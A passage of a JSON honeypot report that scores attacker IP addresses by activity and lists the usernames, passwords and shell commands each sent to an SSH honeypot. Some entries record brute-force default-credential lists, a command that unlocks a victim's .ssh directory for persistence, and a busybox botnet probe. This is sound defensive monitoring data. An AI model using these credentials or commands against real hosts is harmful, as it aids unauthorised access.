      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 47.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T16:03:27.031000+00:00",
        "last_seen_30d": "2026-04-28T16:04:07.926000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "1.94.57.180": {
      "attack_count": 30,
      "first_seen": "2026-04-15T16:08:53.737Z",
      "last_seen": "2026-04-15T16:09:08.560Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:08:53.737000+00:00",
        "last_seen_30d": "2026-04-15T16:10:15.891000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "167.172.58.118": {
      "attack_count": 30,
      "first_seen": "2026-04-25T19:21:23.375Z",
      "last_seen": "2026-04-25T19:34:34.696Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "loginuser",
        "ingres",
        "sybase",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "ingres",
        "sophos",
        "sybase",
        "test@123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:17:57.124000+00:00",
        "last_seen_30d": "2026-04-25T19:35:44.060000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "42.230.54.80": {
      "attack_count": 30,
      "first_seen": "2026-04-03T13:58:34.319Z",
      "last_seen": "2026-04-03T14:01:48.704Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T13:58:34.319000+00:00",
        "last_seen_30d": "2026-04-03T14:02:55.201000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "45.156.22.81": {
      "attack_count": 27,
      "first_seen": "2026-04-15T00:57:36.208Z",
      "last_seen": "2026-04-15T00:58:01.787Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "RPM",
        "admin",
        "anonymous",
        "test",
        "vyos"
      ],
      "passwords_attempted": [
        "RPM",
        "admin",
        "anonymous",
        "test",
        "vyos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:57:36.208000+00:00",
        "last_seen_30d": "2026-04-15T00:59:09.872000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 11
      }
    },
    "118.194.248.105": {
      "attack_count": 25,
      "first_seen": "2026-04-11T13:21:17.667Z",
      "last_seen": "2026-04-11T13:23:45.678Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 13.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 16,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T03:45:35.785000+00:00",
        "last_seen_30d": "2026-04-17T13:37:52.219000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 53,
        "Cowrie": 25,
        "Dionaea": 4
      }
    },
    "24.6.219.70": {
      "attack_count": 23,
      "first_seen": "2026-04-21T11:33:38.570Z",
      "last_seen": "2026-04-21T11:33:45.091Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456*"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boulder Creek",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:33:38.570000+00:00",
        "last_seen_30d": "2026-04-21T11:34:54.168000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "152.32.146.202": {
      "attack_count": 22,
      "first_seen": "2026-04-29T21:36:09.565Z",
      "last_seen": "2026-04-29T21:38:36.903Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-14T14:05:39.534000+00:00",
        "last_seen_30d": "2026-04-29T21:39:43.354000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 22,
        "Honeytrap": 8
      }
    },
    "221.120.34.164": {
      "attack_count": 22,
      "first_seen": "2026-04-16T20:04:22.174Z",
      "last_seen": "2026-04-21T21:39:29.331Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-16T20:04:22.174000+00:00",
        "last_seen_30d": "2026-04-30T23:29:20.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 1
      }
    },
    "192.253.248.130": {
      "attack_count": 18,
      "first_seen": "2026-04-10T10:34:52.458Z",
      "last_seen": "2026-04-15T15:32:25.161Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "@2023Kelltech",
        "kelltech1.",
        "kelltech123!"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:34:52.458000+00:00",
        "last_seen_30d": "2026-04-15T15:33:32.144000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "45.224.189.43": {
      "attack_count": 16,
      "first_seen": "2026-04-25T08:26:06.529Z",
      "last_seen": "2026-04-25T08:34:21.541Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Paran\u00e1",
      "asn": 265862,
      "as_org": "BM SOLUCIONES S.R.L.",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T08:26:06.529000+00:00",
        "last_seen_30d": "2026-04-25T08:35:24.501000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "213.221.11.194": {
      "attack_count": 15,
      "first_seen": "2026-04-11T10:58:11.061Z",
      "last_seen": "2026-04-11T11:01:15.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "realtek",
        "zhongxing"
      ],
      "commands_executed": [
        "shell",
        "system",
        "cat /proc/mounts; /bin/busybox WLDFL",
        "enable",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Khabarovsk",
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T10:58:11.061000+00:00",
        "last_seen_30d": "2026-04-11T11:11:22.961000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 2
      }
    },
    "189.228.86.242": {
      "attack_count": 14,
      "first_seen": "2026-04-28T03:28:36.954Z",
      "last_seen": "2026-04-28T03:34:43.621Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Naucalpan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T03:28:36.954000+00:00",
        "last_seen_30d": "2026-04-28T03:45:35.168000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "86.41.193.20": {
      "attack_count": 14,
      "first_seen": "2026-04-25T09:52:05.396Z",
      "last_seen": "2026-04-29T08:46:39.191Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Naas",
      "asn": 5466,
      "as_org": "Eir Broadband",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T09:52:05.396000+00:00",
        "last_seen_30d": "2026-04-29T08:47:49.161000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12
      }
    },
    "61.76.136.25": {
      "attack_count": 13,
      "first_seen": "2026-04-28T01:57:38.750Z",
      "last_seen": "2026-04-28T02:11:27.289Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qwe2023"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:07:11.679000+00:00",
        "last_seen_30d": "2026-04-28T02:14:01.959000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 11
      }
    },
    "177.20.174.123": {
      "attack_count": 12,
      "first_seen": "2026-04-26T19:30:45.487Z",
      "last_seen": "2026-04-26T19:43:09.566Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pardinho",
      "asn": 270814,
      "as_org": "ZAAZ PROVEDOR DE INTERNET E TELECOMUNICACOES LTDA",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:27:57.654000+00:00",
        "last_seen_30d": "2026-04-26T19:44:47.004000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "38.242.142.68": {
      "attack_count": 12,
      "first_seen": "2026-04-30T18:53:50.879Z",
      "last_seen": "2026-04-30T19:08:55.242Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:53:50.879000+00:00",
        "last_seen_30d": "2026-04-30T19:10:03.984000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10
      }
    },
    "51.91.223.58": {
      "attack_count": 12,
      "first_seen": "2026-04-22T21:03:41.072Z",
      "last_seen": "2026-04-22T21:04:09.508Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-22T21:03:41+00:00",
        "last_seen_30d": "2026-04-22T21:05:19.581000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9,
        "Honeytrap": 2
      }
    },
    "46.101.254.243": {
      "attack_count": 11,
      "first_seen": "2026-04-21T11:51:17.130Z",
      "last_seen": "2026-04-21T11:51:18.031Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.8,
        "persistence": 4.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 5,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-18T05:52:13+00:00",
        "last_seen_30d": "2026-04-22T20:08:17.769000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 26,
        "Cowrie": 11,
        "Ipphoney": 1
      }
    },
    "194.164.107.6": {
      "attack_count": 9,
      "first_seen": "2026-04-09T06:47:55.971Z",
      "last_seen": "2026-04-09T07:19:26.978Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 97.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 536,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T12:23:12.259000+00:00",
        "last_seen_30d": "2026-04-30T14:45:37.907000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 391,
        "Honeytrap": 114,
        "ConPot": 10,
        "Cowrie": 9,
        "Adbhoney": 4,
        "Honeyaml": 4,
        "CitrixHoneypot": 2,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "109.219.36.88": {
      "attack_count": 8,
      "first_seen": "2026-04-25T11:03:09.589Z",
      "last_seen": "2026-04-25T11:05:25.748Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Abbeville",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T11:03:09.589000+00:00",
        "last_seen_30d": "2026-04-25T11:16:28.273000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "160.119.76.49": {
      "attack_count": 8,
      "first_seen": "2026-04-28T17:46:57.705Z",
      "last_seen": "2026-04-28T18:28:58.179Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1328,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-28T17:37:24+00:00",
        "last_seen_30d": "2026-04-28T18:35:56.511000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 846,
        "Honeytrap": 408,
        "Dionaea": 28,
        "Miniprint": 15,
        "Cowrie": 8,
        "Redishoneypot": 7,
        "ConPot": 6,
        "Ipphoney": 4,
        "Sentrypeer": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "174.162.115.95": {
      "attack_count": 8,
      "first_seen": "2026-04-25T23:32:02.957Z",
      "last_seen": "2026-04-25T23:34:53.620Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Macomb",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:32:02.957000+00:00",
        "last_seen_30d": "2026-04-25T23:36:14.838000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "198.235.24.223": {
      "attack_count": 8,
      "first_seen": "2026-04-04T22:52:13.208Z",
      "last_seen": "2026-04-07T22:54:44.153Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T19:28:06+00:00",
        "last_seen_30d": "2026-04-30T06:27:45.568000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 23,
        "Cowrie": 8,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "223.204.88.169": {
      "attack_count": 8,
      "first_seen": "2026-04-01T07:12:52.817Z",
      "last_seen": "2026-04-01T07:13:04.671Z",
      "sessions": 2,
      "ports": [],
